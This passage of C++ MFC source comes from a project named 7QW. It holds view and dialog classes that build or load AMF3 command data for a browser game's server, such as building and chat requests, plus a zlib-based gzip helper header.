        TVS_SHOWSELALWAYS | TVS_DISABLEDRAGDROP);


    SetWindowLong(tc.m_hWnd,GWL_STYLE,style);


    return 0;


}





void CFun1LeftView::_InsertRootItem()


{


    CTreeCtrl &tc=GetTreeCtrl();


    m_hRoot=tc.InsertItem("ROOT");


}








源码/Fun1LeftView.h

#if !defined(AFX_FUN1LEFTVIEW_H__4FB79047_6E05_4B56_828E_766EB7223B71__INCLUDED_)
#define AFX_FUN1LEFTVIEW_H__4FB79047_6E05_4B56_828E_766EB7223B71__INCLUDED_

#if _MSC_VER > 1000
#pragma once
#endif // _MSC_VER > 1000
// Fun1LeftView.h : header file
//
#include <afxcview.h>
/////////////////////////////////////////////////////////////////////////////
// CFun1LeftView view

class CFun1LeftView : public CTreeView
{
protected:
	CFun1LeftView();           // protected constructor used by dynamic creation
	DECLARE_DYNCREATE(CFun1LeftView)

// Attributes
public:

// Operations
public:
	void _InsertRootItem();
	HTREEITEM m_hRoot;


// Overrides
	// ClassWizard generated virtual function overrides
	//{{AFX_VIRTUAL(CFun1LeftView)
	public:
	virtual BOOL Create(LPCTSTR lpszClassName, LPCTSTR lpszWindowName, DWORD dwStyle, const RECT& rect, CWnd* pParentWnd, UINT nID, CCreateContext* pContext = NULL);
	virtual void OnInitialUpdate();
	protected:
	virtual void OnDraw(CDC* pDC);      // overridden to draw this view
	//}}AFX_VIRTUAL

// Implementation
protected:
	virtual ~CFun1LeftView();
#ifdef _DEBUG
	virtual void AssertValid() const;
	virtual void Dump(CDumpContext& dc) const;
#endif

	// Generated message map functions
protected:
	//{{AFX_MSG(CFun1LeftView)
	afx_msg int OnCreate(LPCREATESTRUCT lpCreateStruct);
	//}}AFX_MSG
	DECLARE_MESSAGE_MAP()
};

/////////////////////////////////////////////////////////////////////////////

//{{AFX_INSERT_LOCATION}}
// Microsoft Visual C++ will insert additional declarations immediately before the previous line.

#endif // !defined(AFX_FUN1LEFTVIEW_H__4FB79047_6E05_4B56_828E_766EB7223B71__INCLUDED_)








源码/Fun1RightView.cpp


??/Fun1RightView.cpp

// Fun1RightView.cpp : implementation file


//





#include "stdafx.h"


#include "7QW.h"


#include "Fun1RightView.h"





#ifdef _DEBUG


#define new DEBUG_NEW


#undef THIS_FILE


static char THIS_FILE[] = __FILE__;


#endif





/////////////////////////////////////////////////////////////////////////////


// CFun1RightView





IMPLEMENT_DYNCREATE(CFun1RightView, CListView)





CFun1RightView::CFun1RightView()


{


}





CFun1RightView::~CFun1RightView()


{


}








BEGIN_MESSAGE_MAP(CFun1RightView, CListView)


    //{{AFX_MSG_MAP(CFun1RightView)


        // NOTE - the ClassWizard will add and remove mapping macros here.


    //}}AFX_MSG_MAP


END_MESSAGE_MAP()





/////////////////////////////////////////////////////////////////////////////


// CFun1RightView drawing





void CFun1RightView::OnDraw(CDC* pDC)


{


    CDocument* pDoc = GetDocument();


    // TODO: add draw code here


}





/////////////////////////////////////////////////////////////////////////////


// CFun1RightView diagnostics





#ifdef _DEBUG


void CFun1RightView::AssertValid() const


{


    CListView::AssertValid();


}





void CFun1RightView::Dump(CDumpContext& dc) const


{


    CListView::Dump(dc);


}


#endif //_DEBUG





/////////////////////////////////////////////////////////////////////////////


// CFun1RightView message handlers








源码/Fun1RightView.h

#if !defined(AFX_FUN1RIGHTVIEW_H__900BD4FC_4654_43B8_AA9C_D3C4B87751FC__INCLUDED_)
#define AFX_FUN1RIGHTVIEW_H__900BD4FC_4654_43B8_AA9C_D3C4B87751FC__INCLUDED_

#if _MSC_VER > 1000
#pragma once
#endif // _MSC_VER > 1000
// Fun1RightView.h : header file
//
#include <afxcview.h>
/////////////////////////////////////////////////////////////////////////////
// CFun1RightView view

class CFun1RightView : public CListView
{
protected:
	CFun1RightView();           // protected constructor used by dynamic creation
	DECLARE_DYNCREATE(CFun1RightView)

// Attributes
public:

// Operations
public:

// Overrides
	// ClassWizard generated virtual function overrides
	//{{AFX_VIRTUAL(CFun1RightView)
	protected:
	virtual void OnDraw(CDC* pDC);      // overridden to draw this view
	//}}AFX_VIRTUAL

// Implementation
protected:
	virtual ~CFun1RightView();
#ifdef _DEBUG
	virtual void AssertValid() const;
	virtual void Dump(CDumpContext& dc) const;
#endif

	// Generated message map functions
protected:
	//{{AFX_MSG(CFun1RightView)
		// NOTE - the ClassWizard will add and remove member functions here.
	//}}AFX_MSG
	DECLARE_MESSAGE_MAP()
};

/////////////////////////////////////////////////////////////////////////////

//{{AFX_INSERT_LOCATION}}
// Microsoft Visual C++ will insert additional declarations immediately before the previous line.

#endif // !defined(AFX_FUN1RIGHTVIEW_H__900BD4FC_4654_43B8_AA9C_D3C4B87751FC__INCLUDED_)








源码/Fun1RigntView.h

#if !defined(AFX_FUN1RIGNTVIEW_H__F63CD3E2_BE25_4C79_BEDE_1E1FE396CB04__INCLUDED_)
#define AFX_FUN1RIGNTVIEW_H__F63CD3E2_BE25_4C79_BEDE_1E1FE396CB04__INCLUDED_

#if _MSC_VER > 1000
#pragma once
#endif // _MSC_VER > 1000
// Fun1RigntView.h : header file
//

/////////////////////////////////////////////////////////////////////////////
// CFun1RightView view

class CFun1RightView : public CListView
{
protected:
	CFun1RightView();           // protected constructor used by dynamic creation
	DECLARE_DYNCREATE(CFun1RightView)

// Attributes
public:

// Operations
public:

// Overrides
	// ClassWizard generated virtual function overrides
	//{{AFX_VIRTUAL(CFun1RightView)
	protected:
	virtual void OnDraw(CDC* pDC);      // overridden to draw this view
	//}}AFX_VIRTUAL

// Implementation
protected:
	virtual ~CFun1RightView();
#ifdef _DEBUG
	virtual void AssertValid() const;
	virtual void Dump(CDumpContext& dc) const;
#endif

	// Generated message map functions
protected:
	//{{AFX_MSG(CFun1RightView)
		// NOTE - the ClassWizard will add and remove member functions here.
	//}}AFX_MSG
	DECLARE_MESSAGE_MAP()
};

/////////////////////////////////////////////////////////////////////////////

//{{AFX_INSERT_LOCATION}}
// Microsoft Visual C++ will insert additional declarations immediately before the previous line.

#endif // !defined(AFX_FUN1RIGNTVIEW_H__F63CD3E2_BE25_4C79_BEDE_1E1FE396CB04__INCLUDED_)








源码/Fun2Dlg.cpp


源码/Fun2Dlg.cpp

// Fun2Dlg.cpp : implementation file


//





#include "stdafx.h"


#include "7QW.h"


#include "Fun2Dlg.h"


#include "StaticFunctions.h"


#include "7wAmfCmd.h"


#ifdef _DEBUG


#define new DEBUG_NEW


#undef THIS_FILE


static char THIS_FILE[] = __FILE__;


#endif





/////////////////////////////////////////////////////////////////////////////


// CFun2Dlg property page





IMPLEMENT_DYNCREATE(CFun2Dlg, CPropertyPage)





CFun2Dlg::CFun2Dlg() : CPropertyPage(CFun2Dlg::IDD)


{


    //{{AFX_DATA_INIT(CFun2Dlg)


        // NOTE: the ClassWizard will add member initialization here


    //}}AFX_DATA_INIT


}





CFun2Dlg::~CFun2Dlg()


{


}





void CFun2Dlg::DoDataExchange(CDataExchange* pDX)


{


    CPropertyPage::DoDataExchange(pDX);


    //{{AFX_DATA_MAP(CFun2Dlg)


        // NOTE: the ClassWizard will add DDX and DDV calls here


    //}}AFX_DATA_MAP


}








BEGIN_MESSAGE_MAP(CFun2Dlg, CPropertyPage)


    //{{AFX_MSG_MAP(CFun2Dlg)


    ON_BN_CLICKED(IDC_BUTTON1, OnButton1)


    ON_WM_TIMER()


    ON_BN_CLICKED(IDC_BUTTON3, OnButton3)


    ON_BN_CLICKED(IDC_BUTTON4, OnButton4)


    ON_BN_CLICKED(IDC_BUTTON2, OnButton2)


    //}}AFX_MSG_MAP


END_MESSAGE_MAP()





/////////////////////////////////////////////////////////////////////////////


// CFun2Dlg message handlers





void CFun2Dlg::OnButton1() 


{


    // TODO: Add your control notification handler code here


    CString strpath;


    CFileDialog dlg(TRUE);


    if(dlg.DoModal()==IDOK)


        strpath=dlg.GetPathName();








    //CStaticFunctions::GetWorkPath(strpath);


    //strpath=strpath+"\\amfcmd\\heroAct.getAllHero.txt";


    CFile   OpenFile; 


    OpenFile.Open(strpath,CFile::modeReadWrite); 


    //获取文件长度 


    int   length=OpenFile.GetLength();


    //开辟缓冲区


    BYTE   *pBuf=(BYTE  *)malloc(sizeof(BYTE)*length); 


    OpenFile.SeekToBegin();


    OpenFile.Read(pBuf,length);//读文件 


    OpenFile.Flush();


    OpenFile.Close();


    


    TAG_AMF3CMD *pamf=new TAG_AMF3CMD;


    pamf->buffer=pBuf;


    pamf->usize=length;


    pamf->pfm=(CMainFrame *)AfxGetMainWnd();


    pamf->m_strcmd="amf.txt";











    HANDLE handle=::CreateThread(NULL, 0,C7wAmfCmd::_SendAmfCmd, pamf, 0, NULL);


    


    


    


    


    //::WaitForSingleObject(handle,INFINITE);


    




















}





BOOL CFun2Dlg::OnInitDialog() 


{


    CPropertyPage::OnInitDialog();


    


    // TODO: Add extra initialization here





    return TRUE;  // return TRUE unless you set the focus to a control


                  // EXCEPTION: OCX Property Pages should return FALSE


}





void CFun2Dlg::OnTimer(UINT nIDEvent) 


{


    // TODO: Add your message handler code here and/or call default


    CString strpath;


    CStaticFunctions::GetWorkPath(strpath);


    strpath=strpath+"\\amfcmd\\chatAct_getAllMessage4New.txt";


    CFile   OpenFile; 


    OpenFile.Open(strpath,CFile::modeReadWrite); 


    //获取文件长度 


    int   length=OpenFile.GetLength();


    //开辟缓冲区


    BYTE   *pBuf=(BYTE  *)malloc(sizeof(BYTE)*length); 


    OpenFile.SeekToBegin();


    OpenFile.Read(pBuf,length);//读文件 


    OpenFile.Flush();


    OpenFile.Close();


    


    TAG_AMF3CMD *pamf=new TAG_AMF3CMD;


    pamf->buffer=pBuf;


    pamf->usize=length;


    pamf->pfm=(CMainFrame *)AfxGetMainWnd();


    pamf->m_strcmd="GetMessge....";


    


    


    


    HANDLE handle=::CreateThread(NULL, 0,C7wAmfCmd::_SendAmfCmd, pamf, 0, NULL);





    CPropertyPage::OnTimer(nIDEvent);


}





void CFun2Dlg::OnButton3() 


{


    // TODO: Add your control notification handler code here


    this->SetTimer(1,500,NULL); 


}





void CFun2Dlg::OnButton4() 


{


    // TODO: Add your control notification handler code here


    this->KillTimer(1); 


}





void CFun2Dlg::OnButton2() 


{


    //TODO: Add your control notification handler code here


    


/*  CByteArray *parray; 


    parray=new CByteArray();


    parray->SetSize(1);


    


    C7wAmfCmd::_SetGlobalParamaters();


    C7wAmfCmd::_CreateBuildAmf(parray,"645","居民楼",26);


    


    


    CByteArray *parray2;    


    parray2=new CByteArray();


    parray2->SetSize(1);








    CString strcmd="castleAct.createBuilding";





    


    C7wAmfCmd::_CreateAmf3Cmd(parray2,strcmd,parray->GetData(),parray->GetSize());


    


    





    TAG_AMF3CMD *pamf=new TAG_AMF3CMD;


    pamf->buffer=parray2->GetData();


    pamf->usize=parray2->GetSize();


    pamf->pfm=(CMainFrame *)AfxGetMainWnd();


    pamf->m_strcmd.Format("CreateBuildingC%d",27);


    


    


    


    HANDLE handle=::CreateThread(NULL, 0,C7wAmfCmd::_SendAmfCmd, pamf, 0, NULL);


    ::Sleep(150);





    parray->RemoveAll();


    parray2->RemoveAll();*/





    CByteArray *parray; 


    parray=new CByteArray();


    parray->SetSize(1);


    


    C7wAmfCmd::_SetGlobalParamaters();





    C7wAmfCmd::_SelectBuildAmf(parray,"645","N100");














    CByteArray *parray2;    


    parray2=new CByteArray();


    parray2->SetSize(1);


    


    


    CString strcmd="castleAct.selectCasBui";


    


    


    C7wAmfCmd::_CreateAmf3Cmd(parray2,strcmd,parray->GetData(),parray->GetSize());


    





    


    TAG_AMF3CMD *pamf=new TAG_AMF3CMD;


    pamf->buffer=parray2->GetData();


    pamf->usize=parray2->GetSize();


    pamf->pfm=(CMainFrame *)AfxGetMainWnd();


    pamf->m_strcmd.Format("SelectBuildingC%d",27);


    





    


    HANDLE handle=::CreateThread(NULL, 0,C7wAmfCmd::_SendAmfCmd, pamf, 0, NULL);


    ::Sleep(150);


    


    parray->RemoveAll();


    parray2->RemoveAll();











}








源码/Fun2Dlg.h

#if !defined(AFX_FUN2DLG_H__6598D6A0_0016_4801_B25B_99ADBAD56C8B__INCLUDED_)
#define AFX_FUN2DLG_H__6598D6A0_0016_4801_B25B_99ADBAD56C8B__INCLUDED_

#if _MSC_VER > 1000
#pragma once
#endif // _MSC_VER > 1000
// Fun2Dlg.h : header file
//

/////////////////////////////////////////////////////////////////////////////
// CFun2Dlg dialog

class CFun2Dlg : public CPropertyPage
{
	DECLARE_DYNCREATE(CFun2Dlg)

// Construction
public:
	CFun2Dlg();
	~CFun2Dlg();

// Dialog Data
	//{{AFX_DATA(CFun2Dlg)
	enum { IDD = IDD_DIALOG2 };
		// NOTE - ClassWizard will add data members here.
		//    DO NOT EDIT what you see in these blocks of generated code !
	//}}AFX_DATA


// Overrides
	// ClassWizard generate virtual function overrides
	//{{AFX_VIRTUAL(CFun2Dlg)
	protected:
	virtual void DoDataExchange(CDataExchange* pDX);    // DDX/DDV support
	//}}AFX_VIRTUAL

// Implementation
protected:
	// Generated message map functions
	//{{AFX_MSG(CFun2Dlg)
	afx_msg void OnButton1();
	virtual BOOL OnInitDialog();
	afx_msg void OnTimer(UINT nIDEvent);
	afx_msg void OnButton3();
	afx_msg void OnButton4();
	afx_msg void OnButton2();
	//}}AFX_MSG
	DECLARE_MESSAGE_MAP()

};

//{{AFX_INSERT_LOCATION}}
// Microsoft Visual C++ will insert additional declarations immediately before the previous line.

#endif // !defined(AFX_FUN2DLG_H__6598D6A0_0016_4801_B25B_99ADBAD56C8B__INCLUDED_)








源码/Fun3Dlg.cpp


??/Fun3Dlg.cpp

// Fun3Dlg.cpp : implementation file


//





#include "stdafx.h"


#include "7QW.h"


#include "Fun3Dlg.h"





#ifdef _DEBUG


#define new DEBUG_NEW


#undef THIS_FILE


static char THIS_FILE[] = __FILE__;


#endif





/////////////////////////////////////////////////////////////////////////////


// CFun3Dlg property page





IMPLEMENT_DYNCREATE(CFun3Dlg, CPropertyPage)





CFun3Dlg::CFun3Dlg() : CPropertyPage(CFun3Dlg::IDD)


{


    //{{AFX_DATA_INIT(CFun3Dlg)


        // NOTE: the ClassWizard will add member initialization here


    //}}AFX_DATA_INIT


}





CFun3Dlg::~CFun3Dlg()


{


}





void CFun3Dlg::DoDataExchange(CDataExchange* pDX)


{


    CPropertyPage::DoDataExchange(pDX);


    //{{AFX_DATA_MAP(CFun3Dlg)


        // NOTE: the ClassWizard will add DDX and DDV calls here


    //}}AFX_DATA_MAP


}








BEGIN_MESSAGE_MAP(CFun3Dlg, CPropertyPage)


    //{{AFX_MSG_MAP(CFun3Dlg)


        // NOTE: the ClassWizard will add message map macros here


    //}}AFX_MSG_MAP


END_MESSAGE_MAP()





/////////////////////////////////////////////////////////////////////////////


// CFun3Dlg message handlers








源码/Fun3Dlg.h

#if !defined(AFX_FUN3DLG_H__B1F768A4_F9BC_4889_A818_ECBC4CB247F3__INCLUDED_)
#define AFX_FUN3DLG_H__B1F768A4_F9BC_4889_A818_ECBC4CB247F3__INCLUDED_

#if _MSC_VER > 1000
#pragma once
#endif // _MSC_VER > 1000
// Fun3Dlg.h : header file
//

/////////////////////////////////////////////////////////////////////////////
// CFun3Dlg dialog

class CFun3Dlg : public CPropertyPage
{
	DECLARE_DYNCREATE(CFun3Dlg)

// Construction
public:
	CFun3Dlg();
	~CFun3Dlg();

// Dialog Data
	//{{AFX_DATA(CFun3Dlg)
	enum { IDD = IDD_DIALOG3 };
		// NOTE - ClassWizard will add data members here.
		//    DO NOT EDIT what you see in these blocks of generated code !
	//}}AFX_DATA


// Overrides
	// ClassWizard generate virtual function overrides
	//{{AFX_VIRTUAL(CFun3Dlg)
	protected:
	virtual void DoDataExchange(CDataExchange* pDX);    // DDX/DDV support
	//}}AFX_VIRTUAL

// Implementation
protected:
	// Generated message map functions
	//{{AFX_MSG(CFun3Dlg)
		// NOTE: the ClassWizard will add member functions here
	//}}AFX_MSG
	DECLARE_MESSAGE_MAP()

};

//{{AFX_INSERT_LOCATION}}
// Microsoft Visual C++ will insert additional declarations immediately before the previous line.

#endif // !defined(AFX_FUN3DLG_H__B1F768A4_F9BC_4889_A818_ECBC4CB247F3__INCLUDED_)








源码/Fun4Dlg.cpp


??/Fun4Dlg.cpp

// Fun4Dlg.cpp : implementation file


//





#include "stdafx.h"


#include "7QW.h"


#include "Fun4Dlg.h"





#ifdef _DEBUG


#define new DEBUG_NEW


#undef THIS_FILE


static char THIS_FILE[] = __FILE__;


#endif





/////////////////////////////////////////////////////////////////////////////


// CFun4Dlg property page





IMPLEMENT_DYNCREATE(CFun4Dlg, CPropertyPage)





CFun4Dlg::CFun4Dlg() : CPropertyPage(CFun4Dlg::IDD)


{


    //{{AFX_DATA_INIT(CFun4Dlg)


        // NOTE: the ClassWizard will add member initialization here


    //}}AFX_DATA_INIT


}





CFun4Dlg::~CFun4Dlg()


{


}





void CFun4Dlg::DoDataExchange(CDataExchange* pDX)


{


    CPropertyPage::DoDataExchange(pDX);


    //{{AFX_DATA_MAP(CFun4Dlg)


        // NOTE: the ClassWizard will add DDX and DDV calls here


    //}}AFX_DATA_MAP





}








BEGIN_MESSAGE_MAP(CFun4Dlg, CPropertyPage)


    //{{AFX_MSG_MAP(CFun4Dlg)


        // NOTE: the ClassWizard will add message map macros here


    //}}AFX_MSG_MAP


END_MESSAGE_MAP()





/////////////////////////////////////////////////////////////////////////////


// CFun4Dlg message handlers








源码/Fun4Dlg.h

#if !defined(AFX_FUN4DLG_H__1CC4D224_DB9D_4EAC_A415_A05178ABA4BC__INCLUDED_)
#define AFX_FUN4DLG_H__1CC4D224_DB9D_4EAC_A415_A05178ABA4BC__INCLUDED_

#if _MSC_VER > 1000
#pragma once
#endif // _MSC_VER > 1000
// Fun4Dlg.h : header file
//

/////////////////////////////////////////////////////////////////////////////
// CFun4Dlg dialog

class CFun4Dlg : public CPropertyPage
{
	DECLARE_DYNCREATE(CFun4Dlg)

// Construction
public:
	CFun4Dlg();
	~CFun4Dlg();

// Dialog Data
	//{{AFX_DATA(CFun4Dlg)
	enum { IDD = IDD_DIALOG4 };
		// NOTE - ClassWizard will add data members here.
		//    DO NOT EDIT what you see in these blocks of generated code !
	//}}AFX_DATA


// Overrides
	// ClassWizard generate virtual function overrides
	//{{AFX_VIRTUAL(CFun4Dlg)
	protected:
	virtual void DoDataExchange(CDataExchange* pDX);    // DDX/DDV support
	//}}AFX_VIRTUAL

// Implementation
protected:
	// Generated message map functions
	//{{AFX_MSG(CFun4Dlg)
		// NOTE: the ClassWizard will add member functions here
	//}}AFX_MSG
	DECLARE_MESSAGE_MAP()

};

//{{AFX_INSERT_LOCATION}}
// Microsoft Visual C++ will insert additional declarations immediately before the previous line.

#endif // !defined(AFX_FUN4DLG_H__1CC4D224_DB9D_4EAC_A415_A05178ABA4BC__INCLUDED_)








源码/GZipHelper.h

/* version: 1.0, Feb, 2003
   Author : Gao Dasheng
   Copyright (C) 1995-2002 Gao Dasheng(dsgao@hotmail.com)
   
  This software is provided 'as-is', without any express or implied
  warranty.  In no event will the authors be held liable for any damages
  arising from the use of this software.

  Permission is granted to anyone to use this software for any purpose,
  including commercial applications, and to alter it and redistribute it
  freely, subject to the following restrictions:

  1. The origin of this software must not be misrepresented; you must not
     claim that you wrote the original software. If you use this software
     in a product, an acknowledgment in the product documentation would be
     appreciated but is not required.
  2. Altered source versions must be plainly marked as such, and must not be
     misrepresented as being the original software.
  3. This notice may not be removed or altered from any source distribution.
//////////////////////////////////////////////////////////////////////////////
  Introduce:
     This file includes two classes CA2GZIP and CGZIP2A which do compressing and 
	 uncompressing in memory. and It 's very easy to use for small data compressing.
	 Some compress and uncompress codes came from gzip  unzip function of zlib 1.1.x. 

  Usage: 
     these two classes work used with zlib 1.1.x (http://www.gzip.org/zlib/).
	 They were tested in Window OS.
  Exmaple:
     #include "GZipHelper.h"
	 void main()
	 {
        char plainText[]="Plain text here";
		CA2GZIP gzip(plainText,strlen(plainText));  // do compressing here;
		LPGZIP pgzip=gzip.pgzip;  // pgzip is zipped data pointer, you can use it directly
		int len=gzip.Length;      // Length is length of zipped data;

		CGZIP2A plain(pgzip,len);  // do decompressing here

		char *pplain=plain.psz;    // psz is plain data pointer
		int  aLen=plain.Length;    // Length is length of unzipped data.
	 }
//////////////////////////////////////////////////////////////////////////////
*/


#ifndef __GZipHelper__
#define __GZipHelper__

#include "zip/zutil.h"


#define ALLOC(size) malloc(size)
#define TRYFREE(p) {if (p) free(p);}
#define Z_BUFSIZE 4096
#define ASCII_FLAG   0x01 /* bit 0 set: file probably ascii text */
#define HEAD_CRC     0x02 /* bit 1 set: header CRC present */
#define EXTRA_FIELD  0x04 /* bit 2 set: extra field present */
#define ORIG_NAME    0x08 /* bit 3 set: original file name present */
#define COMMENT      0x10 /* bit 4 set: file comment present */
#define RESERVED     0xE0 /* bits 5..7: reserved */

typedef  unsigned char GZIP;
typedef  GZIP* LPGZIP;

static const int gz_magic[2] = {0x1f, 0x8b}; /* gzip magic header */

template< int t_nBufferLength = 1024 ,int t_nLevel=Z_DEFAULT_COMPRESSION,int t_nStrategy=Z_DEFAULT_STRATEGY>
class CA2GZIPT
{
  public:
    LPGZIP pgzip;
    int Length;
  public:
  CA2GZIPT(char* lpsz,int len=-1):pgzip(0),Length(0)
  {
    Init(lpsz,len);
  }
  ~CA2GZIPT()
  {
    if(pgzip!=m_buffer) TRYFREE(pgzip);
  }
  void Init(char *lpsz,int len=-1)
  {
    if(lpsz==0)
	{
	  pgzip=0; 
	  Length=0;
	  return ;
	}
	if(len==-1)
    {
     len=(int)strlen(lpsz);
    }
	m_CurrentBufferSize=t_nBufferLength;
	pgzip=m_buffer;
	
   
	m_zstream.zalloc = (alloc_func)0;
    m_zstream.zfree = (free_func)0;
    m_zstream.opaque = (voidpf)0;
    m_zstream.next_in = Z_NULL;
    m_zstream.next_out = Z_NULL;
    m_zstream.avail_in = 0;
	m_zstream.avail_out = 0;
    m_z_err = Z_OK;
    m_crc = crc32(0L, Z_NULL, 0);
    int err = deflateInit2(&(m_zstream), t_nLevel,Z_DEFLATED, -MAX_WBITS, DEF_MEM_LEVEL, t_nStrategy);
	m_outbuf = (Byte*)ALLOC(Z_BUFSIZE);
	m_zstream.next_out = m_outbuf;
	if (err != Z_OK || m_outbuf == Z_NULL)
	{
	   destroy();
	   return ;
    }
	m_zstream.avail_out = Z_BUFSIZE;
	GZIP header[10]={0x1f,0x8b,Z_DEFLATED, 0 /*flags*/, 0,0,0,0 /*time*/, 0 /*xflags*/, OS_CODE};
    write(header,10);

	m_zstream.next_in = (Bytef*)lpsz;
    m_zstream.avail_in = len;
    while (m_zstream.avail_in != 0)
	{
        if (m_zstream.avail_out == 0)
		{
            m_zstream.next_out = m_outbuf;
		 	this->write(m_outbuf,Z_BUFSIZE);
            m_zstream.avail_out = Z_BUFSIZE;
        }
        m_z_err = deflate(&m_zstream,Z_NO_FLUSH);
        if (m_z_err != Z_OK) break;
    }
	m_crc = crc32(m_crc, (const Bytef *)lpsz, len);
	if (finish() != Z_OK) { destroy(); return ;}
    putLong(m_crc);
    putLong (m_zstream.total_in);  
	destroy();
 }
 private:
   GZIP m_buffer[t_nBufferLength];
   int m_CurrentBufferSize;
   z_stream m_zstream;
   int      m_z_err;   /* error code for last stream operation */
   Byte     *m_outbuf; /* output buffer */
   uLong    m_crc;     /* crc32 of uncompressed data */
   
   int write(LPGZIP buf,int count)
   {
     if(buf==0) return 0;
	 if(Length+count>m_CurrentBufferSize)
	 {
	   int nTimes=(Length+count)/t_nBufferLength +1;
	   LPGZIP pTemp=pgzip;
	   pgzip=static_cast<LPGZIP>( malloc(nTimes*t_nBufferLength));
	   m_CurrentBufferSize=nTimes*t_nBufferLength;
	   memcpy(pgzip,pTemp,Length);
	   if(pTemp!=m_buffer) free(pTemp);
	 }
	 memcpy(pgzip+Length,buf,count);
	 Length+=count;
	 return count;
  }

  int finish()
  {
    uInt len;
    int done = 0;
    m_zstream.avail_in = 0; 
    for (;;)
	{
        len = Z_BUFSIZE - m_zstream.avail_out;
        if (len != 0)
		{
			write(m_outbuf,len);
            m_zstream.next_out = m_outbuf;
            m_zstream.avail_out = Z_BUFSIZE;
        }
        if (done) break;
        m_z_err = deflate(&(m_zstream), Z_FINISH);
		if (len == 0 && m_z_err == Z_BUF_ERROR) m_z_err = Z_OK;
        
		done = (m_zstream.avail_out != 0 || m_z_err == Z_STREAM_END);
         if (m_z_err != Z_OK && m_z_err != Z_STREAM_END) break;
    }
    return  m_z_err == Z_STREAM_END ? Z_OK : m_z_err;
 }
 int destroy()
 {
    int err = Z_OK;
	if (m_zstream.state != NULL) {
    err = deflateEnd(&(m_zstream));
    }
    if (m_z_err < 0) err = m_z_err;
    TRYFREE(m_outbuf);
    return err;
 }

 void putLong (uLong x)
 {
    for(int n = 0; n < 4; n++) {
        unsigned char c=(unsigned char)(x & 0xff);
		write(&c,1);
        x >>= 8;
    }
 }
};
typedef CA2GZIPT<10> CA2GZIP;


template< int t_nBufferLength = 1024>
class CGZIP2AT
{
  public:
   char *psz;
   int  Length;
   CGZIP2AT(LPGZIP pgzip,int len):m_gzip(pgzip),m_gziplen(len),psz(0),Length(0),m_pos(0)
  {
    Init(); 
  }
  ~CGZIP2AT()
  {
    if(psz!=m_buffer) TRYFREE(psz);  
  }
  void Init()
  {
	if(m_gzip==0)
	{
	  psz=0; 
	  Length=0;
	  return ;
	}
	m_CurrentBufferSize=t_nBufferLength;
	psz=m_buffer;
	memset(psz,0,m_CurrentBufferSize+1);

	m_zstream.zalloc = (alloc_func)0;
    m_zstream.zfree = (free_func)0;
    m_zstream.opaque = (voidpf)0;
    m_zstream.next_in = m_inbuf = Z_NULL;
    m_zstream.next_out = Z_NULL;
    m_zstream.avail_in = m_zstream.avail_out = 0;
    m_z_err = Z_OK;
	m_z_eof = 0;
	m_transparent = 0;
    m_crc = crc32(0L, Z_NULL, 0);
    
	m_zstream.next_in  =m_inbuf = (Byte*)ALLOC(Z_BUFSIZE);
    int  err = inflateInit2(&(m_zstream), -MAX_WBITS);
	if (err != Z_OK || m_inbuf == Z_NULL)
	{
	  destroy();
	  return;
    }
    m_zstream.avail_out = Z_BUFSIZE;
	check_header();
	char outbuf[Z_BUFSIZE];
	int nRead;
	while(true)
	{
	  nRead=gzread(outbuf,Z_BUFSIZE);
	  if(nRead<=0) break;
	  write(outbuf,nRead);
	}
	destroy();
  }
  private:
   char m_buffer[t_nBufferLength+1];
   int m_CurrentBufferSize;
   z_stream m_zstream;
   int      m_z_err;   /* error code for last stream operation */
   Byte     *m_inbuf; /* output buffer */
   uLong    m_crc;     /* crc32 of uncompressed data */
   int      m_z_eof;
   int      m_transparent;

   int      m_pos;
   LPGZIP   m_gzip;
   int      m_gziplen;
   
  void check_header()
  {
    int method; /* method byte */
    int flags;  /* flags byte */
    uInt len;
    int c;

    /* Check the gzip magic header */
    for (len = 0; len < 2; len++) {
	c = get_byte();
	if (c != gz_magic[len]) {
	    if (len != 0) m_zstream.avail_in++, m_zstream.next_in--;
	    if (c != EOF) {
		m_zstream.avail_in++, m_zstream.next_in--;
		m_transparent = 1;
	    }
	    m_z_err =m_zstream.avail_in != 0 ? Z_OK : Z_STREAM_END;
	    return;
	}
    }
    method = get_byte();
    flags = get_byte();
    if (method != Z_DEFLATED || (flags & RESERVED) != 0) {
	m_z_err = Z_DATA_ERROR;
	return;
    }
    /* Discard time, xflags and OS code: */
    for (len = 0; len < 6; len++) (void)get_byte();

    if ((flags & EXTRA_FIELD) != 0) { /* skip the extra field */
	len  =  (uInt)get_byte();
	len += ((uInt)get_byte())<<8;
	/* len is garbage if EOF but the loop below will quit anyway */
	while (len-- != 0 && get_byte() != EOF) ;
    }
    if ((flags & ORIG_NAME) != 0) { /* skip the original file name */
	while ((c = get_byte()) != 0 && c != EOF) ;
    }
    if ((flags & COMMENT) != 0) {   /* skip the .gz file comment */
	while ((c = get_byte()) != 0 && c != EOF) ;
    }
    if ((flags & HEAD_CRC) != 0) {  /* skip the header crc */
	for (len = 0; len < 2; len++) (void)get_byte();
    }
    m_z_err = m_z_eof ? Z_DATA_ERROR : Z_OK;
  }

  int get_byte()
  {
    if (m_z_eof) return EOF;
    if (m_zstream.avail_in == 0) 
	{
	 errno = 0;
	 m_zstream.avail_in =read(m_inbuf,Z_BUFSIZE);
	 if(m_zstream.avail_in == 0)
	 {
	    m_z_eof = 1;
	    return EOF;
	 }
	 m_zstream.next_in = m_inbuf;
    }
    m_zstream.avail_in--;
    return *(m_zstream.next_in)++;
 }
 int read(LPGZIP buf,int size)
 {
   int nRead=size;
   if(m_pos+size>=m_gziplen)
   {
    nRead=m_gziplen-m_pos;
   }
   if(nRead<=0) return 0;
   memcpy(buf,m_gzip+m_pos,nRead);
   m_pos+=nRead;
   return nRead;
  }

 int gzread(char* buf,int len)
 {
    Bytef *start = (Bytef*)buf; /* starting point for crc computation */
    Byte  *next_out; /* == stream.next_out but not forced far (for MSDOS) */

     
	if (m_z_err == Z_DATA_ERROR || m_z_err == Z_ERRNO) return -1;
    if (m_z_err == Z_STREAM_END) return 0;  /* EOF */

    next_out = (Byte*)buf;
    m_zstream.next_out = (Bytef*)buf;
    m_zstream.avail_out = len;
    while (m_zstream.avail_out != 0) {
	if (m_transparent)
	{
	    /* Copy first the lookahead bytes: */
	    uInt n = m_zstream.avail_in;
	    if (n > m_zstream.avail_out) n = m_zstream.avail_out;
	    if (n > 0) 
		{
		zmemcpy(m_zstream.next_out,m_zstream.next_in, n);
		next_out += n;
		m_zstream.next_out = next_out;
		m_zstream.next_in   += n;
		m_zstream.avail_out -= n;
		m_zstream.avail_in  -= n;
	    }
	    if (m_zstream.avail_out > 0) {
		 m_zstream.avail_out -=read(next_out,m_zstream.avail_out);
	    }
	    len -= m_zstream.avail_out;
